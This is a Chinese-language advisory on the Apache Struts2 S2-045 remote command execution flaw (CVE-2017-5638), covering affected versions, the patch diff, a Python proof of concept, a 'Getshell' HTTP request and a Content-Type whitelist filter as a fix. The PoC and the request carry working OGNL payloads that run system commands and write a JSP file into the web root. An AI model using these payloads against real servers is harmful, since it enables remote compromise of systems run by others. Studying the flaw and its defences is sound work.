Struts2 S2-045 Remote Command Execution(CVE-2017-5638)
0x01 前言
Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号为S2-045,CVE编号CVE-2017-5638,在使用基于Jakarta插件的文件上传功能时可能存在远程命令执行,导致系统被入侵,漏洞评级为高危。
0x02 漏洞详情
漏洞概述
- 漏洞编号:S2-045
- CVE编号:CVE-2017-5638
攻击者可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令
影响范围
- 风险等级:高风险
- 漏洞风险:攻击者通过利用漏洞可以实现远程命令执行
- 影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10
- 安全版本:Struts 2.3.32、Struts 2.5.10.1
0x03 漏洞分析
漏洞关键点
- 基于Jakarta(Jakarta Multipart parser)插件的文件上传功能
- 恶意攻击者精心构造
Content-Type
的值
补丁对比
通过版本比对定位漏洞原因
2.3.32:https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a
2.5.10.1:https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b
\core\src\main\java\org\apache\struts2\dispatcher\multipart\MultiPartRequestWrapper.java
\core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaMultiPartRequest.java
\core\src\main\java\org\apache\struts2\dispatcher\multipart\JakartaStreamMultiPartRequest.java
加固方式对用户报错加了条件判断
if (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0]) == null) {
return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() });
} else {
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
}
Struts2默认解析上传文件的Content-Type
头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码,当Content-Type
注入Payload后就可以通过OGNL执行命令了。
0x04 PoC
#! /usr/bin/env python
# encoding:utf-8
import urllib2
import sys
import ssl
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
register_openers()
datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})
header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
ssl._create_default_https_context = ssl._create_unverified_context
request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
response = urllib2.urlopen(request)
print response.read()
poc()
Getshell
POST /test.action?f=css3.jsp HTTP/1.1
Host: 192.168.1.105:8080
Content-Length: 13
Cache-Control: max-age=0
Origin: http://192.168.1.105:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: _multipart/form-data%{(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o):((#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#f=new java.io.File(#req.getRealPath('/'),#req.getParameter('f'))).(@org.apache.commons.io.IOUtils@copy(#req.getInputStream(),new java.io.FileOutputStream(#f)))}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.1.105:8080/test.action
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: JSESSIONID=2905AC0C4AAE617FD1A8E0FE27391DB6
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alx-4.0.1
Connection: close
test_xxx
会在根目录下面生成css3.jsp,内容就是test_xxx
0x05 安全加固&修复建议
- 升级至Struts2安全版本
- 使用Servlet过滤器验证
Content-Type
过滤不匹配的请求multipart/form-data
加固方式
通过判断Content-Type
头是否为白名单类型,来限制非法Content-Type
的攻击。
加固代码:
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class SecurityFilter extends HttpServlet implements Filter {
/**
*
*/
private static final long serialVersionUID = 1L;
public final String www_url_encode= "application/x-www-form-urlencoded";
public final String mul_data= "multipart/form-data ";
public final String txt_pla= "text/plain";
public void doFilter(ServletRequest arg0, ServletResponse arg1,
FilterChain arg2) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) arg0;
HttpServletResponse response = (HttpServletResponse) arg1;
String contenType=request.getHeader("conTent-type");
if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("非法请求Content-Type!");
return;
}
arg2.doFilter(request, response);
}
public void init(FilterConfig arg0) throws ServletException {
}
}
1.将Java编译以后的SecurityFilter.class
(SecurityFilter.java
是源代码文件)复制到应用的WEB-INF/classes
目录下。
2.配置Filter
将下面的代码加入WEB-INF/web.xml
文件中。
<filter>
<filter-name>SecurityFilter</filter-name>
<filter-class>SecurityFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>SecurityFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
/*代表拦截所有请求,进行攻击代码检查,*.action
只检查.action
结尾的请求。
示例:
3.重启应用即可